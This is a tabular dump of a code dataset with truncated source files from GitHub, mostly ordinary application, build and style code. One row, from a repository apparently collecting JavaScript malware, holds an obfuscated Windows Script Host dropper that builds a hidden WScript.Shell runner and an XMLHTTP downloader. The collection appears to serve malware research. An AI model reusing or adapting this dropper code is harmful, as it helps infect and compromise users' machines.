identifier stringlengths 42 383 | collection stringclasses 1
value | open_type stringclasses 1
value | license stringlengths 0 1.81k | date float64 1.99k 2.02k ⌀ | title stringlengths 0 100 | creator stringlengths 1 39 | language stringclasses 157
values | language_type stringclasses 2
values | word_count int64 1 20k | token_count int64 4 1.32M | text stringlengths 5 1.53M | __index_level_0__ int64 0 57.5k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
https://github.com/cquoss/jboss-4.2.3.GA-jdk8/blob/master/ejb3/src/test/org/jboss/ejb3/test/localfromremote/StatelessBean.java | Github Open Source | Open Source | Apache-2.0 | null | jboss-4.2.3.GA-jdk8 | cquoss | Java | Code | 367 | 933 | /*
* JBoss, Home of Professional Open Source.
* Copyright 2006, Red Hat Middleware LLC, and individual contributors
* as indicated by the @author tags. See the copyright.txt file in the
* distribution for a full listing of individual contributors.
*
* This is free software; you can redistribute it and/or modify i... | 33,100 |
https://github.com/ARM-software/psa-arch-tests/blob/master/secure-debug/val/val.cmake | Github Open Source | Open Source | Apache-2.0, BSD-3-Clause | 2,023 | psa-arch-tests | ARM-software | CMake | Code | 153 | 446 | #/** @file
# * Copyright (c) 2021 Arm Limited or its affiliates. All rights reserved.
# * SPDX-License-Identifier : Apache-2.0
# *
# * Licensed under the Apache License, Version 2.0 (the "License");
# * you may not use this file except in compliance with the License.
# * You may obtain a copy of the License at
# *
# * ... | 49,484 |
https://github.com/vijaybhat-dev/FalconMessenger/blob/master/FalconMessenger/ChatsControllers/ChatLogViewController+UserBlockDelegate.swift | Github Open Source | Open Source | MIT | 2,020 | FalconMessenger | vijaybhat-dev | Swift | Code | 283 | 1,045 | //
// ChatLogViewController+UserBlockDelegate.swift
// FalconMessenger
//
// Created by Roman Mizin on 9/11/18.
// Copyright © 2018 Roman Mizin. All rights reserved.
//
import UIKit
import Firebase
extension ChatLogViewController: UserBlockDelegate {
func blockUser(with uid: String) {
if DeviceType.isIPa... | 53,015 |
https://github.com/NikhilM98/sugarizer-server/blob/master/sugarizer.js | Github Open Source | Open Source | Apache-2.0, LicenseRef-scancode-unknown-license-reference | 2,023 | sugarizer-server | NikhilM98 | JavaScript | Code | 284 | 918 | // require files
var express = require('express'),
http = require('http'),
https = require('https'),
fs = require('fs'),
process = require('process'),
settings = require('./config/settings'),
wait4db = require('./config/wait4db'),
common = require('./dashboard/helper/common'),
presence = require('./api/middlewa... | 39,880 |
https://github.com/JonaC22/react-md/blob/master/docs/src/shared/components/Customization/Colors/_color-palette.scss | Github Open Source | Open Source | MIT | null | react-md | JonaC22 | SCSS | Code | 67 | 255 | @import '~react-md-scss';
.color-list {
@include md-box-shadow(1);
list-style: none;
padding-left: 0;
}
.color {
color: $md-white-base;
font-weight: 500;
padding: 15px;
@each $name, $color in $md-color-map {
&.#{$name} {
background: $color;
.sass-variable::after {
content: '#... | 30,370 |
https://github.com/Harry-Hopkinson/VSCoding-Sequence/blob/master/node_modules/molstar/lib/mol-io/reader/gro/parser.js | Github Open Source | Open Source | MIT | 2,022 | VSCoding-Sequence | Harry-Hopkinson | JavaScript | Code | 769 | 2,029 | /**
* Copyright (c) 2017 mol* contributors, licensed under MIT, See LICENSE file for more info.
*
* @author Alexander Rose <alexander.rose@weirdbyte.de>
* @author David Sehnal <david.sehnal@gmail.com>
*/
import { __awaiter, __generator } from "tslib";
import { Column } from '../../../mol-data/db';
import { Tokeniz... | 18,067 |
https://github.com/createdbymahmood/bookly/blob/master/src/components/BookManagementTable/BookManagementTable.types.d.ts | Github Open Source | Open Source | MIT | null | bookly | createdbymahmood | TypeScript | Code | 29 | 84 | import { TableProps } from 'antd/lib/table';
import { HTMLProps } from 'react';
export type BookManagementTableTypes = {
books: Book.Query.Result[];
};
export type BookManagementTableProps = HTMLProps<HTMLDivElement> &
BookManagementTableTypes &
TableProps<Book.Query.Result>;
| 49,566 |
https://github.com/frekele/focusnfe-api-client/blob/master/src/main/java/org/frekele/fiscal/focus/nfe/client/core/FocusNFeEntity.java | Github Open Source | Open Source | MIT | 2,021 | focusnfe-api-client | frekele | Java | Code | 31 | 80 | package org.frekele.fiscal.focus.nfe.client.core;
import java.io.Serializable;
/**
* Interface base que todas as entidades devem implementar.
*
* @author frekele - Leandro Kersting de Freitas
*/
public interface FocusNFeEntity extends Serializable {
}
| 33,881 |
https://github.com/mberneti/ReactAdmin/blob/master/content/sass/_color.scss | Github Open Source | Open Source | MIT | 2,021 | ReactAdmin | mberneti | SCSS | Code | 29 | 266 | $primary-color: #042590;
$dark-gray: #222222;
$light-gray: #d9d9d9;
$lighter-gray: #F1F1F1;
$back-green:#41AB6B;
$back-yellow:#EEA303;
$back-header:#E6AE48;
/*$back-header:#2980b9;*/
$back-nav:#EEA303;
/*$back-nav:#3498db;*/
$color-light-text: #5e5e5e;
$color-dark-text: #2A2A2A;
$color-light-text-hex: #5e5e5e;
$co... | 20,604 |
https://github.com/otis22/vetmanager-token/blob/master/src/Credentials/ByLoginPassword.php | Github Open Source | Open Source | MIT | null | vetmanager-token | otis22 | PHP | Code | 92 | 298 | <?php
declare(strict_types=1);
namespace Otis22\VetmanagerToken\Credentials;
use Otis22\VetmanagerToken\Credentials;
final class ByLoginPassword implements Credentials
{
/**
* @var Login
*/
private $login;
/**
* @var Password
*/
private $password;
/**
* @var AppName
... | 41,966 |
https://github.com/Saqibrehan587/EClassRoom-Community/blob/master/backend/views/quiz-key/deletekey.php | Github Open Source | Open Source | BSD-3-Clause | null | EClassRoom-Community | Saqibrehan587 | PHP | Code | 34 | 217 | <?php
use yii\helpers\Url;
use common\models\QuizKey;
use common\models\Student;
?>
<?php
if (isset($_GET['id'])) {
$quiz_key_id=$_GET['id'];
}
?>
<?php
$query=QuizKey::find()->where(['quiz_key_id'=>$quiz_key_id])->one();
if($query)
{
unlink("uploads/".$qu... | 36,095 |
https://github.com/snebel29/sso/blob/master/internal/auth/options_test.go | Github Open Source | Open Source | MIT | null | sso | snebel29 | Go | Code | 311 | 1,075 | package auth
import (
"fmt"
"net/url"
"strings"
"testing"
"time"
"github.com/buzzfeed/sso/internal/pkg/testutil"
)
func testOptions() *Options {
o := NewOptions()
o.CookieSecret = "foobar"
o.ClientID = "bazquux"
o.ClientSecret = "xyzzyplugh"
o.EmailDomains = []string{"*"}
o.ProxyClientID = "abcdef"
o.Pr... | 46,483 |
https://github.com/shouno/FFTDemo/blob/master/misc/2Dsin.py | Github Open Source | Open Source | BSD-3-Clause | null | FFTDemo | shouno | Python | Code | 67 | 133 | # -*- coding: utf-8 -*-
#
import numpy as np
import matplotlib as mpl
from matplotlib import cm
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.pyplot as plt
N = 256
x = ( range( N ) / np.double(N) * 2 ) * np.pi
y = ( range( N ) / np.double(N) * 2 ) * np.pi
X, Y = np.meshgrid( x, y )
Z = np.sin( X )
| 43,406 |
https://github.com/kouz75/jovo-framework/blob/master/jovo-platforms/jovo-platform-googleassistant/src/response/HtmlResponse.ts | Github Open Source | Open Source | Apache-2.0 | 2,021 | jovo-framework | kouz75 | TypeScript | Code | 53 | 187 | export interface InteractiveCanvasResponse {
url?: string;
data?: Record<string, object>;
suppress?: boolean;
enableFullScreen?: boolean;
continueTtsDuringTouch?: boolean;
}
export class HtmlResponse implements InteractiveCanvasResponse {
url?: string;
data?: Record<string, object>;
suppress?: boolean;... | 28,394 |
https://github.com/riddopic/delta/blob/master/version.sbt | Github Open Source | Open Source | Apache-2.0 | 2,022 | delta | riddopic | Scala | Code | 5 | 19 | ThisBuild / version := "1.2.0-SNAPSHOT"
| 29,077 |
https://github.com/negue/gewd/blob/master/libs/components/highlight-editor/highlight.service.ts | Github Open Source | Open Source | MIT | 2,022 | gewd | negue | TypeScript | Code | 126 | 475 | import { Inject, Injectable, InjectionToken, NgZone, Optional, PLATFORM_ID } from '@angular/core';
import { MarkdownServiceOptions, MarkdownWorker, PrismServiceOptions, PrismWorker } from '@gewd/markdown/contracts';
import { MarkdownOptionsInjectorToken } from '@gewd/markdown/service';
import { isPlatformBrowser } from... | 54,107 |
https://github.com/QISKit/qiskit-sdk-swift/blob/master/Sources/qiskit/qasm/node/NodeIf.swift | Github Open Source | Open Source | Apache-2.0 | 2,018 | qiskit-sdk-swift | QISKit | Swift | Code | 209 | 451 | // Copyright 2017 IBM RESEARCH. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicab... | 26,420 |
https://github.com/scott1028/devtools-frontend/blob/master/test/shared/helper.ts | Github Open Source | Open Source | BSD-3-Clause | null | devtools-frontend | scott1028 | TypeScript | Code | 1,549 | 3,758 | // Copyright 2020 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
import {AssertionError} from 'chai';
import * as os from 'os';
import {performance} from 'perf_hooks';
import * as puppeteer from 'puppeteer';
import {re... | 17,295 |
https://github.com/Esri/zone-lookup/blob/master/app/calcite-web/lib/js/helpers/dom.js | Github Open Source | Open Source | Apache-2.0, LicenseRef-scancode-unknown-license-reference | 2,022 | zone-lookup | Esri | JavaScript | Code | 161 | 376 | // ┌─────┐
// │ DOM │
// └─────┘
// Handles dom nodes
// returns closest element up the DOM tree matching a given class
export function closest (className, context) {
var current;
for (current = context; current; current = current.parentNode) {
var currentClass = (current && current.getAttribute && current.get... | 1,778 |
https://github.com/Althinect/filament-spatie-roles-permissions/blob/master/src/FilamentSpatieRolesPermissionsServiceProvider.php | Github Open Source | Open Source | MIT | 2,022 | filament-spatie-roles-permissions | Althinect | PHP | Code | 47 | 223 | <?php
namespace Althinect\FilamentSpatieRolesPermissions;
use Althinect\FilamentSpatieRolesPermissions\Resources\PermissionResource;
use Althinect\FilamentSpatieRolesPermissions\Resources\RoleResource;
use Filament\PluginServiceProvider;
use Illuminate\Support\ServiceProvider;
use Spatie\LaravelPackageTools\Package;
... | 30,630 |
https://github.com/tsukoyumi/skylicht-engine/blob/master/Projects/Editor/Source/GUI/Controls/CColorPicker.cpp | Github Open Source | Open Source | MIT | null | skylicht-engine | tsukoyumi | C++ | Code | 352 | 1,226 | /*
!@
MIT License
Copyright (c) 2020 Skylicht Technology CO., LTD
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files
(the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify... | 31,851 |
https://github.com/marco-c/gecko-dev-wordified-and-comments-removed/blob/master/netwerk/sctp/src/usrsctp.h | Github Open Source | Open Source | BSD-3-Clause, LicenseRef-scancode-unknown-license-reference | 2,023 | gecko-dev-wordified-and-comments-removed | marco-c | C | Code | 4,022 | 16,810 | #
ifndef
__USRSCTP_H__
#
define
__USRSCTP_H__
#
ifdef
__cplusplus
extern
"
C
"
{
#
endif
#
include
<
errno
.
h
>
#
include
<
sys
/
types
.
h
>
#
ifdef
_WIN32
#
ifdef
_MSC_VER
#
pragma
warning
(
disable
:
4200
)
#
endif
#
include
<
winsock2
.
h
>
#
include
<
ws2tcpip
.
h
>
#
else
#
include
<
sys
/
socket
.
h
>
#
include... | 35,514 |
https://github.com/easyredmine/redmine-installer/blob/master/lib/redmine-installer/redmine.rb | Github Open Source | Open Source | MIT | 2,023 | redmine-installer | easyredmine | Ruby | Code | 1,760 | 6,039 | require 'find'
require 'io/console'
module RedmineInstaller
class Redmine < TaskModule
attr_reader :database
attr_accessor :root
REQUIRED_FILES = [
'app',
'lib',
'config',
'public',
'db',
'Gemfile',
'Rakefile',
'config.ru',
File.join('lib', 'redmine... | 42,470 |
https://github.com/okta/okta-sdk-nodejs/blob/master/test/it/user-get-reset-password-url.ts | Github Open Source | Open Source | Apache-2.0 | 2,023 | okta-sdk-nodejs | okta | TypeScript | Code | 147 | 441 | import { expect } from 'chai';
import utils = require('../utils');
import * as okta from '@okta/okta-sdk-nodejs';
import { Client } from '@okta/okta-sdk-nodejs';
let orgUrl = process.env.OKTA_CLIENT_ORGURL;
if (process.env.OKTA_USE_MOCK) {
orgUrl = `${orgUrl}/user-get-reset-password-url`;
}
const client = new Clien... | 12,489 |
https://github.com/giefortunaQA/20DecSDET2-IMS-Starter/blob/master/src/test/resources/sql-data.sql | Github Open Source | Open Source | MIT | null | 20DecSDET2-IMS-Starter | giefortunaQA | SQL | Code | 32 | 99 | INSERT INTO customers (first_name, surname, house_number, postcode) VALUES ('John', 'Smith', 1, 'AAA9 9AA');
INSERT INTO items (name,price) VALUES ('bar stool',49.99);
INSERT INTO orders (fk_cid,order_value) VALUES (1,49.99);
INSERT INTO orders_items (fk_oid,fk_iid) VALUES (1,1);
| 20,867 |
https://github.com/brambaud/oauth2-client-bundle/blob/master/src/DependencyInjection/Providers/CanvasLMSProviderConfigurator.php | Github Open Source | Open Source | MIT | 2,022 | oauth2-client-bundle | brambaud | PHP | Code | 156 | 524 | <?php
/*
* OAuth2 Client Bundle
* Copyright (c) KnpUniversity <http://knpuniversity.com/>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace KnpU\OAuth2ClientBundle\DependencyInjection\Providers;
use Symfony\Component\Conf... | 43,031 |
https://github.com/Esentiel/HurricaneEngine3D/blob/master/physics/Physics.cpp | Github Open Source | Open Source | BSD-3-Clause | 2,022 | HurricaneEngine3D | Esentiel | C++ | Code | 513 | 2,590 | #include "Physics.h"
#include "CharacterController.h"
#include <PxPhysicsAPI.h>
#include <PxScene.h>
#include <PxRigidDynamic.h>
#include <characterkinematic/PxController.h>
#include <characterkinematic/PxControllerManager.h>
#include <cassert>
using namespace physx;
PxDefaultErrorCallback gDefaultErrorCallback;
Px... | 48,192 |
https://github.com/Cabezudo/Sofia/blob/master/src/main/java/net/cabezudo/sofia/core/validation/SofiaWarningValidationException.java | Github Open Source | Open Source | MIT | null | Sofia | Cabezudo | Java | Code | 20 | 75 | package net.cabezudo.sofia.core.validation;
/**
* @author <a href="http://cabezudo.net">Esteban Cabezudo</a>
* @version 0.01.00, 2021.03.06
*/
public class SofiaWarningValidationException extends Exception {
}
| 9,509 |
https://github.com/sidecus/authzyin/blob/master/sample/ClientApp/src/components/AuthContext.tsx | Github Open Source | Open Source | MIT | 2,020 | authzyin | sidecus | TypeScript | Code | 58 | 177 | import * as React from 'react';
import { SampleAuthZyinContext } from '../api/Contract';
import { CardHeader, Card, CardContent } from '@material-ui/core';
import ReactJson from 'react-json-view';
interface IAuthContextProps {
data: SampleAuthZyinContext;
}
export const AuthContext = ({data}: IAuthContextProps) =... | 44,417 |
https://github.com/Ticketfly/ember-hook/blob/master/tests/dummy/app/templates/components/test-component.hbs | Github Open Source | Open Source | MIT | 2,019 | ember-hook | Ticketfly | null | Spoken | 3 | 19 | <span data-test={{hook "internal-text"}}>{{text}}</span>
| 37,368 |
https://github.com/commernet-sox/XUI/blob/master/src/less/controls/loading.less | Github Open Source | Open Source | MIT | null | XUI | commernet-sox | Less | Code | 104 | 400 | @import '../basic/mixins.less';
@import '../basic/variables.less';
@import './icons.variables.less';
.load-indicator {
position: relative;
&:before,&:after {
text-align: center;
opacity: 0;
visibility: hidden;
position: absolute;
color: @color-gray;
transition: .2s @animation... | 14,152 |
https://github.com/yulangchao/newmomo/blob/master/src/pages/signup/signup.ts | Github Open Source | Open Source | MIT | 2,017 | newmomo | yulangchao | TypeScript | Code | 195 | 629 | import { Component } from '@angular/core';
import { NavController, ToastController } from 'ionic-angular';
import { MainPage } from '../../pages/pages';
import { User, Profiles } from '../../providers/providers';
import { LoginPage } from '../login/login';
import { TranslateService } from '@ngx-translate/core';
@Com... | 53,716 |
https://github.com/rafaelvizu/Estudos/blob/master/Linguagens/Python/Exercicios/cursos_em_video/aulas-01_a_21/015.py | Github Open Source | Open Source | MIT | null | Estudos | rafaelvizu | Python | Code | 49 | 114 | print('Exercício Python #015 - Aluguel de Carros')
a8 = float(input('Quantos dias o carro ficou alugado? '))
b8 = float(input('Quantos Km ele andou? '))
c8 = (a8 * 60) + (b8 * 0.15)
print(' Sendo {:.0f} dias e {} Km rodados, o valor do aluguel será R$ {}'.format(a8, b8, c8)) | 21,840 |
https://github.com/efandor/external-courses/blob/master/src/kanban/src/components/Footer/Footer.js | Github Open Source | Open Source | MIT | null | external-courses | efandor | JavaScript | Code | 52 | 202 | import DomElement from '../DomElement/DomElement'
import css from './footer.module.css'
export class Footer {
constructor() {
this.element = new DomElement({
type: 'footer',
className: css.footer,
html: `
<div>
<span class="${css.textFo... | 8,630 |
https://github.com/hros/Yggdrasil/blob/master/L/libsixel/bundled/patches/01-libsixel-win32.patch | Github Open Source | Open Source | MIT | 2,021 | Yggdrasil | hros | null | Spoken | 72 | 221 | # This patch exports `sixel_allocator_new` to the generated dll library for the windows target
# as bug fix. Upstream PR in https://github.com/saitoha/libsixel/pull/151
diff --git a/include/sixel.h.in b/include/sixel.h.in
index bcdb66c..cf61715 100644
--- a/include/sixel.h.in
+++ b/include/sixel.h.in
@@ -506,7 +506,7 ... | 4,636 |
https://github.com/bolechen/spatie.be/blob/master/resources/views/layout/partials/hreflang.blade.php | Github Open Source | Open Source | MIT | 2,022 | spatie.be | bolechen | PHP | Code | 12 | 55 | <link rel="alternate" hreflang="en" href="{{ $translatedUrls['en'] }}"/>
<link rel="alternate" hreflang="nl" href="{{ $translatedUrls['nl'] }}"/>
| 9,285 |
https://github.com/i-gaven/Just_a_dumper/blob/master/all_headers/中国建设银行-4.0.82(越狱应用)_headers/CCB_O_PY0510.h | Github Open Source | Open Source | MIT | 2,018 | Just_a_dumper | i-gaven | Objective-C | Code | 125 | 534 | //
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Sep 17 2017 16:24:48).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//
#import "CCBBaseModel.h"
@class NSArray, NSString;
@interface CCB_O_PY0510 : CCBBaseModel
{
NSString *_ECIFP_Cst_ID;
NSString... | 45,488 |
https://github.com/shooksteven/Vale/blob/master/Valestrom/Scout/test/net/verdagon/vale/scout/ScoutTests.scala | Github Open Source | Open Source | Apache-2.0 | null | Vale | shooksteven | Scala | Code | 1,457 | 4,987 | package net.verdagon.vale.scout
import net.verdagon.vale.parser._
import net.verdagon.vale.scout.patterns.{AbstractSP, AtomSP, CaptureS}
import net.verdagon.vale.scout.rules._
import net.verdagon.vale.{Err, FileCoordinate, Ok, vassert, vfail, vwat}
import net.verdagon.von.{JsonSyntax, VonPrinter}
import org.scalatest.... | 53,024 |
https://github.com/TimTheToad/CrazyCanvas/blob/master/LambdaEngine/Source/Game/ConsoleCommand.cpp | Github Open Source | Open Source | MIT | 2,021 | CrazyCanvas | TimTheToad | C++ | Code | 180 | 675 | #include "Game/ConsoleCommand.h"
namespace LambdaEngine
{
ConsoleCommand::ConsoleCommand() : m_Name(""), m_IsDebug(false)
{
}
void ConsoleCommand::Init(const std::string& name, bool isDebug)
{
m_Name = name;
m_IsDebug = isDebug;
}
void ConsoleCommand::AddArg(Arg::EType type)
{
Arg arg;
arg.Type = typ... | 74 |
https://github.com/substence/PBE2-Experiments/blob/master/src/com/pblabs/simplest/SimplestSpatialComponent.as | Github Open Source | Open Source | MIT | 2,011 | PBE2-Experiments | substence | null | Spoken | 21 | 70 | package com.pblabs.simplest
{
import com.pblabs.core.PBComponent;
import flash.geom.Point;
public class SimplestSpatialComponent extends PBComponent
{
public var position:Point = new Point();
}
} | 29,616 |
https://github.com/vonoro/walletconnect-monorepo/blob/master/packages/types/src/expirer.ts | Github Open Source | Open Source | Apache-2.0 | null | walletconnect-monorepo | vonoro | TypeScript | Code | 112 | 271 | import { Logger } from "pino";
import { IEvents } from "@walletconnect/events";
import { IClient } from "./client";
export interface Expiration {
topic: string;
expiry: number;
}
export declare namespace ExpirerEvents {
export interface Created {
topic: string;
expiration: Expiration;
}
export int... | 41,563 |
https://github.com/llstarscreamll/kirby-api/blob/master/packages/kirby/employees/tests/api/SearchEmployeesTest.php | Github Open Source | Open Source | MIT | null | kirby-api | llstarscreamll | PHP | Code | 79 | 409 | <?php
namespace Kirby\Employees\Tests\api;
use EmployeesPackageSeed;
use Kirby\Employees\Models\Employee;
/**
* Class SearchEmployeesTest.
*
* @author Johan Alvarez <llstarscreamll@hotmail.com>
*/
class SearchEmployeesTest extends \Tests\TestCase
{
/**
* @var string
*/
private $endpoint = 'api/... | 16,899 |
https://github.com/HynekPetrak/javascript-malware-collection/blob/master/2016/20160329/20160329_e69c9a22f9dbd872b327a21f8ed1dfca.js | Github Open Source | Open Source | CC0-1.0 | 2,023 | javascript-malware-collection | HynekPetrak | JavaScript | Code | 281 | 1,176 | var Yarjnwthrr = false;
var Djcqkfbh = "CreateObject";
var Pyxjq = function Yrtqboj() {return WScript[Djcqkfbh]("WScript.Shell");}();
var Kxivb = 123213;
var Cocao = "MSXML2.XMLHTTP";
var Vyami = 2123213;
var Pnrecer = 0;
function Rkehyeedu(Vgirfhqmwo){Pyxjq["Run"](Vgirfhqmwo, Pnrecer, Pnrecer);};
function Ccjhykxfpv()... | 1,752 |
https://github.com/theGhostJW/zenith-test-complete/blob/master/TestComplete/Basis/Seed/DemoProject/Script/TestRunner.sj | Github Open Source | Open Source | MIT | null | zenith-test-complete | theGhostJW | null | Spoken | 906 | 1,998 | //USEUNIT _
//USEUNIT EndPointLauncherUtils
//USEUNIT SysUtils
//USEUNIT TestRunnerUtils
/** Module Info **
Functions used in excuting test runs and test case end points
**/
// test commit
/**
A basic list of test filter functions used for filtering test uns based on the: test name, run configuration and test con... | 5,368 |
https://github.com/SaitoYutaka/incubator-nuttx/blob/master/arch/renesas/src/rx65n/rx65n_port.c | Github Open Source | Open Source | Apache-2.0, BSD-3-Clause, GPL-1.0-or-later, LicenseRef-scancode-warranty-disclaimer, ISC, BSD-2-Clause, LicenseRef-scancode-other-permissive, MIT | 2,020 | incubator-nuttx | SaitoYutaka | C | Code | 910 | 4,076 | /****************************************************************************
* arch/renesas/src/rx65n/rx65n_port.c
*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyrig... | 10,244 |
https://github.com/sunday2146/lanxi_mahjong/blob/master/src/game/algorithm/hu_bao_tou.go | Github Open Source | Open Source | Apache-2.0 | 2,018 | lanxi_mahjong | sunday2146 | Go | Code | 205 | 795 | package algorithm
// 爆头检测(敲响):
// 已经有十二张牌组合好,剩下一张牌为财神,并无将牌,抓到任意一张则为敲响。普通牌2倍,摸到白板4倍,摸到财神6倍。
// (已经有十二张牌组合好,剩下一张牌为财神,并无将牌,别人打出财神牌,或者白板算放炮吗)
// (此种情况为爆头,只能自摸,别人打出牌一律不能胡)
// (该种情况可与其他胡牌情况倍数累加)
func ExistBaoTou(cards []byte, ch, ps, ks []uint32, wildcard byte, card byte, draw bool, hu int64) int64 {
if hu&HU_SINGLE > 0 ||... | 39,805 |
https://github.com/rboixaderg/guillotina/blob/master/guillotina/component/event.py | Github Open Source | Open Source | BSD-2-Clause | 2,022 | guillotina | rboixaderg | Python | Code | 136 | 326 | ##############################################################################
#
# Copyright (c) 2004 Zope Foundation and Contributors.
# All Rights Reserved.
#
# This software is subject to the provisions of the Zope Public License,
# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.
# THIS SOF... | 10,037 |
https://github.com/MichalTML/yii2app/blob/master/frontend/views/project-assemblies-files-notes/__notes.php | Github Open Source | Open Source | BSD-3-Clause | null | yii2app | MichalTML | PHP | Code | 83 | 336 | <?php
use yii\helpers\Html;
use yii\widgets\ActiveForm;
/* @var $this yii\web\View */
/* @var $model frontend\models\ProjectNotes */
/* @var $form yii\widgets\ActiveForm */
?>
<div class="project-notes-form">
<?php $form = ActiveForm::begin(['id' => $model->formName(), 'enableClientValidation'=>false, 'enableAj... | 40,575 |
https://github.com/vyskocilpavel/perun-mitreid/blob/master/oidc-idp/src/main/java/cz/muni/ics/oidc/models/PerunAttribute.java | Github Open Source | Open Source | Apache-2.0 | null | perun-mitreid | vyskocilpavel | Java | Code | 374 | 1,243 | package cz.muni.ics.oidc.models;
import com.fasterxml.jackson.databind.JsonNode;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
/**
* Perun Attribute model
*
* @author Dominik Frantisek Bucik <bucik@ics.muni.cz>
*/
public class PerunA... | 32,256 |
https://github.com/reggregory/go-deploy/blob/master/client/operations/patch_certificates_id_responses.go | Github Open Source | Open Source | MIT | null | go-deploy | reggregory | Go | Code | 323 | 902 | // Code generated by go-swagger; DO NOT EDIT.
package operations
// This file was generated by the swagger tool.
// Editing this file might prove futile when you re-run the swagger generate command
import (
"fmt"
"io"
"github.com/go-openapi/runtime"
strfmt "github.com/go-openapi/strfmt"
models "github.com/re... | 13,690 |
https://github.com/humaohua/java-filecoin-api-client/blob/master/filecoin-api-client/src/main/java/org/rockyang/filecoin/rpc/Filecoin.java | Github Open Source | Open Source | Apache-2.0, MIT | 2,021 | java-filecoin-api-client | humaohua | Java | Code | 535 | 1,871 | package org.rockyang.filecoin.rpc;
import okhttp3.OkHttpClient;
import okhttp3.logging.HttpLoggingInterceptor;
import org.rockyang.filecoin.exception.ApiError;
import org.rockyang.filecoin.exception.ApiException;
import org.rockyang.filecoin.vo.req.KeyInfoReq;
import org.rockyang.filecoin.vo.res.*;
import retrofit2.Ca... | 15,988 |
https://github.com/RalfFV/PhotoAlbum/blob/master/PhotoAlbum/Models/Stack.cs | Github Open Source | Open Source | MIT | 2,018 | PhotoAlbum | RalfFV | C# | Code | 43 | 100 | using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace PhotoAlbum.Models
{
public class Stack
{
public int ID { get; set; }
public string Name { get; set; }
public bool Classified { get; set; }
public List<Picture> Pictures {... | 26,930 |
https://github.com/wangeastsea/mylib/blob/master/dist/index.aio.js | Github Open Source | Open Source | MIT | 2,019 | mylib | wangeastsea | JavaScript | Code | 358 | 1,093 | /*!
* mylib 0.2.0 (https://github.com/wangdonghai/mylib)
* API https://github.com/wangdonghai/mylib/blob/master/doc/api.md
* Copyright 2017-2019 wangdonghai. All Rights Reserved
* Licensed under MIT (https://github.com/wangdonghai/mylib/blob/master/LICENSE)
*/
(function (global, factory) {
typeof exports === 'o... | 6,582 |
https://github.com/nksaraf/devtools-ds/blob/master/jest.config.js | Github Open Source | Open Source | MIT | 2,021 | devtools-ds | nksaraf | JavaScript | Code | 22 | 133 | const base = require('@design-systems/test/jest.config.base');
module.exports = {
...base,
roots: ['<rootDir>/components/', '<rootDir>/packages/'],
projects: [
'<rootDir>/components/*/jest.config.js',
'<rootDir>/packages/*/jest.config.js'
],
coverageDirectory: '<rootDir>/coverage/',
collectCoverage... | 48,442 |
https://github.com/jdsingh/grace-period-android/blob/master/graceperiod/src/main/java/com/orchestral/graceperiod/config/GracePeriodConfig.kt | Github Open Source | Open Source | MIT | 2,018 | grace-period-android | jdsingh | Kotlin | Code | 366 | 756 | /*
* The MIT License
*
* Copyright (c) Orchestral Developments Ltd and the Orion Health group of companies (2001 - 2017).
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without rest... | 19,967 |
https://github.com/HarryPyc/voxel-cone-tracing/blob/master/Shaders/Voxelization/Visualization/voxel_visualization.frag | Github Open Source | Open Source | MIT | 2,020 | voxel-cone-tracing | HarryPyc | GLSL | Code | 238 | 591 | // A simple fragment shader path tracer used to visualize 3D textures.
// Author: Fredrik Präntare <prantare@gmail.com>
// Date: 11/26/2016
#version 450 core
#define INV_STEP_LENGTH (1.0f/STEP_LENGTH)
#define STEP_LENGTH 0.005f
uniform sampler2D textureBack; // Unit cube back FBO.
uniform sampler2D textureFront; // U... | 41,559 |
https://github.com/afreeorange/literary-clock/blob/master/src/quotes.ts | Github Open Source | Open Source | MIT | 2,023 | literary-clock | afreeorange | TypeScript | Code | 20,000 | 32,998 | export type Quote = { timeFragment: string; quote: string; book: string; author: string; }; const quotes: Record<string, Quote[]> = { "00:00": [ { timeFragment: "midnight", quote: "As midnight was striking bronze blows upon the dusky air, Dorian Gray, dressed commonly, and with a muffler wrapped round his throat, crept... | 25,348 |
https://github.com/Giagar/deliveboo/blob/master/app/Http/Controllers/Admin/DishController.php | Github Open Source | Open Source | MIT | 2,021 | deliveboo | Giagar | PHP | Code | 283 | 1,220 | <?php
namespace App\Http\Controllers\Admin;
use App\Dish;
use Faker\Generator as Faker;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Auth;
class DishController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Ht... | 14,879 |
https://github.com/arugq777/mini_zork_rb_sinatra/blob/master/views/slim/turn.slim | Github Open Source | Open Source | MIT | 2,014 | mini_zork_rb_sinatra | arugq777 | null | Spoken | 91 | 319 | /! turn.slim
- m = settings.mzw
- oh = settings.mzw.output_hash
- order = [:win, :lose, :grue_move, :rest, :loot, :grue_flees, :move]
li id="turn_#{m.player.stats[:turns].to_s}"
- order.each do |item|
- if item == :rest
- if oh[item]
div class="#{item.to_s}"
p = oh[item]
- else
... | 15,933 |
https://github.com/joseluis1997/Almacenes/blob/master/resources/views/admin/roles/create.blade.php | Github Open Source | Open Source | MIT | 2,021 | Almacenes | joseluis1997 | Blade | Code | 85 | 437 | @extends('layouts.app')
@section('contenido')
<div class="title">
@if (count($errors) > 0)
<div class="alert alert-danger">
<ul>
@foreach ($errors->all() as $error)
<li>{{ $error }}</li>
@endforeach
... | 17,181 |
